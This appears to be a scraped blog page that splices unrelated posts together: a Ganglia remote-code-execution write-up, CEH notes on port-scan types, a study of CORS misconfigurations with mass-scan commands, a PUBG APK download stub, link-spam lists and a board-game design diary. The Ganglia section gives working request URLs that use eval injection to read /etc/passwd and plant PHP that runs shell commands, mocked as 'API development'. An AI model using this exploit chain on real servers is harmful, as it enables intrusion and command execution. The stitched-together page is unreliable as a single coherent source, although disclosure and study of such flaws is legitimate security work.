Wednesday, May 6, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Related word


ShellForge


"ShellForge is a python program that builds shellcodes from C. It is inspired from Stealth's Hellkit. Some wrapper functions arround system calls are defined in header files. The C program uses them instead of libc calls. ShellForge uses gcc to convert it into assembler. It then modifies it a bit, compiles it, extract code from the object, may encode it and add a loader at the begining." read more...
Related news

CEH: Gathering Network And Host Information, Types Of Scan


In Hacking the main focus is over gathering the information about victim or victim's machine. Which will help to find out which type of exploit will works according to the given circumstances. Gathering the network and host information means to find out by which network, the which victim's machine is connected and communicating over the network. Moreover, scanning is also performed for gathering information about open and closed ports. After that they'll able to find the vulnerabilities in the target system and try to get access to the system.

Types Of Scan

As a CEH you should know the scan types and uses:

SYN

SYN scan doesn't complete the TCP three way handshake that is why it is known as a half-open scan. An attacker send a SYN packet to the victim machine if SYN/ACK packet is received back to attacker, then it clarify that the port is listening due to the acknowledgment by the victim that it has completed the connection. While if the attacker is received the RST/ACK packet then it assumed that the port is closed or open.


XMAS

XMAS scan works only on target system that has the RFC 793 development of TCP/IP and it doesn't works against any version of windows.
XMAS scan send a packet with by setting up the FIN, URG and PSH flags of the TCP header. The function of this scan is if the port is active there will be no response but if the port is closed the target responds with a RST/ACK packet.


FIN

A FIN scan send a packet by setting up only the FIN flag of the TCP. This scan is similar to XMAS scan. FIN scan receives no response if the port is active while if the port is closed it receives the RST/ACK packet.


NULL 

NULL scan is also similar to the XMAS scan. But the only difference is that it sends a packet without setting up the any flag of TCP header. NULL scan receives no response if the port is open but if the port is closed it receives the RST/ACK packet.


IDLE

It is just like spoofing an IP address by sending a SYN packet to the victim's machine to find out which services are available over the system. This scan is completed with the help of another system called as "Zombie" (that is not receiving or transmitting any information).


Related links


  1. Hacking Life
  2. Cracker Definicion
  3. Kali Hacking
  4. Diferencia Entre Hacker Y Cracker
  5. Grey Hat Hacking
  6. Hacking-Lab
  7. Hacking Linux Distro

Tuesday, May 5, 2020

CORS Misconfigurations On A Large Scale

Inspired by James Kettle's great OWASP AppSec Europe talk on CORS misconfigurations, we decided to fiddle around with CORS security issues a bit. We were curious how many websites out there are actually vulnerable because of dynamically generated or misconfigured CORS headers.

The issue: CORS misconfiguration

Cross-Origin Resource Sharing (CORS) is a technique to punch holes into the Same-Origin Policy (SOP) – on purpose. It enables web servers to explicitly allow cross-site access to a certain resource by returning an Access-Control-Allow-Origin (ACAO) header. Sometimes, the value is even dynamically generated based on user-input such as the Origin header send by the browser. If misconfigured, an unintended website can access the resource. Furthermore, if the Access-Control-Allow-Credentials (ACAC) server header is set, an attacker can potentially leak sensitive information from a logged in user – which is almost as bad as XSS on the actual website. Below is a list of CORS misconfigurations which can potentially be exploited. For more technical details on the issues read the this fine blogpost.

Misconfiguation Description
Developer backdoorInsecure developer/debug origins like JSFiddler CodePen are allowed to access the resource
Origin reflectionThe origin is simply echoed in ACAO header, any site is allowed to access the resource
Null misconfigurationAny site is allowed access by forcing the null origin via a sandboxed iframe
Pre-domain wildcardnotdomain.com is allowed access, which can simply be registered by the attacker
Post-domain wildcarddomain.com.evil.com is allowed access, can be simply be set up by the attacker
Subdomains allowedsub.domain.com allowed access, exploitable if the attacker finds XSS in any subdomain
Non-SSL sites allowedAn HTTP origin is allowed access to a HTTPS resource, allows MitM to break encryption
Invalid CORS headerWrong use of wildcard or multiple origins,not a security problem but should be fixed

The tool: CORStest

Testing for such vulnerabilities can easily be done with curl(1). To support some more options like, for example, parallelization we wrote CORStest, a simple Python based CORS misconfiguration checker. It takes a text file containing a list of domain names or URLs to check for misconfigurations as input and supports some further options:

usage: corstest.py [arguments] infile

positional arguments:
infile File with domain or URL list

optional arguments:
-h, --help show this help message and exit
-c name=value Send cookie with all requests
-p processes multiprocessing (default: 32)
-s always force ssl/tls requests
-q quiet, allow-credentials only
-v produce a more verbose output

CORStest can detect potential vulnerabilities by sending various Origin request headers and checking for the Access-Control-Allow-Origin response. An example for those of the Alexa top 750 websites which allow credentials for CORS requests is given below.

Evaluation with Alexa top 1 Million websites

To evaluate – on a larger scale – how many sites actually have wide-open CORS configurations we did run CORStest on the Alexa top 1 million sites:

$ git clone https://github.com/RUB-NDS/CORStest.git && cd cors/
$ wget -q http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
$ unzip top-1m.csv.zip
$ awk -F, '{print $2}' top-1m.csv > alexa.txt
$ ./corstest.py alexa.txt

This test took about 14 hours on a decent connection and revealed the following results:

Only 29,514 websites (about 3%) actually supported CORS on their main page (aka. responded with Access-Control-Allow-Origin). Of course, many sites such as Google do only enable CORS headers for certain resources, not directly on their landing page. We could have crawled all websites (including subdomains) and fed the input to CORStest. However, this would have taken a long time and for statistics, our quick & dirty approach should still be fine. Furthermore it must be noted that the test was only performed with GET requests (without any CORS preflight) to the http:// version of websites (with redirects followed). Note that just because a website, for example, reflects the origin header it is not necessarily vulnerable. The context matters; such a configuration can be totally fine for a public sites or API endpoints intended to be accessible by everyone. It can be disastrous for payment sites or social media platforms. Furthermore, to be actually exploitable the Access-Control-Allow-Credentials: true (ACAC) header must be set. Therefore we repeated the test, this time limited to sites that return this header (see CORStest -q flag):

$ ./corstest.py -q alexa.txt

This revealed even worse results - almost half of the websites supporting ACAO and ACAC headers contained a CORS misconfigurations that could be exploited directly by a web attacker (developer backdoor, origin reflection, null misconfig, pre-/post-domain wildcard):

The Impact: SOP/SSL bypass on payment and taxpayer sites

Note that not all tested websites actually were exploitable. Some contained only public data and some others - such as Bitbucket - had CORS enabled for their main page but not for subpages containing user data. Manually testing the sites, we found to be vulnerable:
  • A dozen of online banking, bitcoin and other payment sites; one of them allowed us to create a test account so we were able to write proof-of-concept code which could actually have been used to steal money
  • Hundred of online shops/e-commerce sites and a bunch of hotel/flight booking sites
  • Various social networks and misc sites which allow users to log in and communicate
  • One US state's tax filing website (however, this one was exploitable by a MitM only)
We informed all sites we manually tested and found to be vulnerable. A simple exploit code example when logged into a website with CORS origin reflection is given below.


The Reason: Copy & Paste and broken frameworks

We were further interested in reasons for CORS misconfigurations. Particularly we wanted to learn if there is a correlation between applied technology and misconfiguration. Therefore we used WhatWeb to fingerprint the web technologies for all vulnerable sites. CORS is usually enabled either directly in the HTTP server configuration or by the web application/framework. While we could not identify a single major cause for CORS misconfigurations, we found various potential reasons. A majority of dangerous Access-Control-* headers had probably been introduced by developers, others however are based on bugs and bad practices in some products. Insights follow:
  • Various websites return invalid CORS headers; besides wrong use of wildcards such as *.domain.com, ACAO headers which contain multiple origins can often be found; Other examples of invalid - but quite creative - ACAO values we observed are: self, true, false, undefined, None, 0, (null), domain, origin, SAMEORIGIN
  • Rack::Cors, the de facto standard library to enable CORS for Ruby on Rails maps origins '' or origins '*' into reflecting arbitrary origins; this is dangerous, because developers would think that '' allows nothing and '*' behaves according to the spec: mostly harmless because it cannot be used to make to make 'credentialed' requests; this config error leads to origin reflection with ACAC headers on about a hundred of the tested and vulnerable websites
  • A majority of websites which allow a http origin to CORS access a https resource are run on IIS; this seems to be no bug in IIS itself but rather caused by bad advises found on the Internet
  • nginx is the winner when it comes serving websites with origin reflections; again, this is not an issue of nginx but of dangerous configs copied from "Stackoverflow; same problem for Phusion Passenger
  • The null ACAO value may be based on programming languages that simply return null if no value is given (we haven't found any specific framework though); another explanation is that 'CORS in Action', a popular book on CORS, contains various examples with code such as var originWhitelist = ['null', ...], which could be misinterpreted by developers as safe
  • If CORS is enabled in the crVCL PHP Framework, it adds ACAC and ACAO headers for a configured domain. Unfortunatelly, it also introduces a post-domain and pre-subdomain wildcard vulnerability: sub.domain.com.evil.com
  • All sites that are based on "Solo Build It!" (scam?) respond with: Access-Control-Allow-Origin: http://sbiapps.sitesell.com
  • Some sites have :// or // as fixed ACAO values. How should browsers deal with this? Inconsistent at least! Firefox, Chrome, Safari and Opera allow arbitrary origins while IE and Edge deny all origins.

More information


OSWA™


"The OSWA™-Assistant is a self-contained, no Operating System required, freely downloadable, standalone toolkit which is solely focused on wireless auditing. As a result, in addition to the usual WiFi (802.11) auditing tools, it also covers Bluetooth and RFID auditing. Using the toolkit is as easy as popping it into your computer's CDROM and making your computer boot from it!" read more...

Website: http://oswa-assistant.securitystartshere.org

Related links


  1. House Hacking
  2. Hacking Hardware Tools
  3. Hacking Team
  4. Hacking Forums
  5. Hacking Libro
  6. Growth Hacking Courses
  7. Hacking Basico
  8. Hacking Web Sql Injection Pdf
  9. Growth Hacking Que Es
  10. Growth Hacking Definicion
  11. Hacking Life

Friday, May 1, 2020

PUBG MOBILE 0.17.0 APK+OBB

PUBG MOBILE - 2nd Anniversary 0.17.0 APK+OBB


 

=============================================

Screenshots







 DOWNLOAD PUBG 0.17.0 APK+OBB




-------------------------------------------------------------------

THANK YOU SO MUCH FOR VISITING OUR SITE.

Riders Of The Pony Express Update

A few months ago, I dusted off my Riders of the Pony Express prototype. It went over really well with my current playtest group, which is always nice to see -- they don't love every game, and it makes me feel bad forcing them to play the ones they don't enjoy enough to "finish" them.

I played RotPE a couple more times lately, and tried the changes I listed in my last post:
1. Increase value of Bears from +2 to +3. I wanted to make the Bears more different from the Bandits (which are +2), and I wanted to make the Shotgun item better... a shotgun can be discarded to remove a bear or bandit from the board, but that's really not worth using ever. This change to +3 accomplished both of those goals, though the shotgun STILL wasn't good enough. Yesterday I tried an improved version of the shotgun: ONCE PER ROUND you can "kill" (turn face down) a Bandit or a Bear. This way you can use it twice, for 2-3 each time, which is a little better - maybe worthwhile. But I'm considering not even having that limit (after all, removing the tile helps other players too!)

2. Deal mandatory parcels face up instead of face down, they don't use up inventory slots. This change seemed good, and simplifies the rules quite a bit. Along with this change, I reduced the max inventory back down to 4 items. Of course, this means you must deliver it before the end of the round.

3. Instead of random parcels for rounds 2 and 3, let players draft from a face up supply of N+1 parcels when they arrive back at the post office. This worked well. It might be a little awkward to have to deal more cads out when you're done auctioning cards for the turn -- maybe better is to deal them at the same time you deal he cards to auction (put the auction cards on one side of the board and the new parcels on the other side)? Anyway, it seemed like a good change.

4. Movement change: Move from town to hazard, or hazard to town... This was proposed by Hoss because he did not feel like it made sense the way I was doing it (move from town to hazard, and on your next turn, finish moving into the town you were heading towards). However, we found hazard-town-hazard to be sort of tedious, and didn't like how that felt. As a compromise, we went back to what I had, but explained it a little differently: you move from town to town, but you ACT at the BEGINNING of your turn, not as you arrive in a town. So you move to the next town, paying whatever cost (by moving your time marker). Then next turn you deliver (if you have anything, costs 1 time), buy an item (if you want, costs 1 time), and then move to the next town (costs some amount based on route, hazard tile, and items you have). This format worked well, and I think it communicated better also.

In addition to those changes, one of my players had a good suggestion: the time track started out going down $1 per space, then later along the track it went 2 spaces per $ drop, and eventually 3 spaces. Aaron pointed out that that felt backwards... once you're already spending a lot of time, spending even more time didn't really cost you anything. So I reversed that... now at the beginning of the track you move several spaces before your reward drops, but farther along the track you lose $1 per space, and near the very end of the track you actually lose $2 per space! I also added a dead stop at the end of the track -- if you hit that, then your delivery phase is automatically over, and you lose $10 for each undelivered parcel. Those changes have all helped combat dynamics I didn't like in the game, and they work toward making sure players care how much they bid for things.

As I mentioned above, I beefed up the shotgun item, which is a definite improvement (side note, it combos with Spurs now, since you can remove the hazard AND then get your spurs discount). In addition, I tried changing the maps to say "ignore the hazard tile when moving to town X" rather than a discount of 2. This made the maps a little more variable, potentially more attractive (at least in some cases), and reduced some of the match involved in calculating your route. As it turns out, this makes maps better for Mountains (+5) and Bears (+3), the same for Banidts (+2) and Lost! (+2), and worse for Snakes (+1) and Rivers (+1). At first I didn't like that (I fear the maps are already not good enough), but you CAN discard them to any Lost! tile, and players seem to think they're worth getting, so maybe they're fine. I think I'll try the "ignore hazard" rule again to see if I want to keep it.

Similarly, Compass should say "ignore Lost! tiles" to help minimize the arithmetic in the game.

Finally, one of the worst parts of the game is the fiddly setup -- drawing a million square tiles and placing them on the board, then removing the tumbleweeds and snakes. Then in week 2, adding more tiles, only to remove tumbleweeds again, etc. I'm looking for a way to do bigger tiles that each cover several hazard spaces, so that setup can be simpler but the map board could still be somewhat variable with respect to where the mountains, rivers, and Lost! tiles are.

It would be cool to make the map not look like a schematic/grid as well!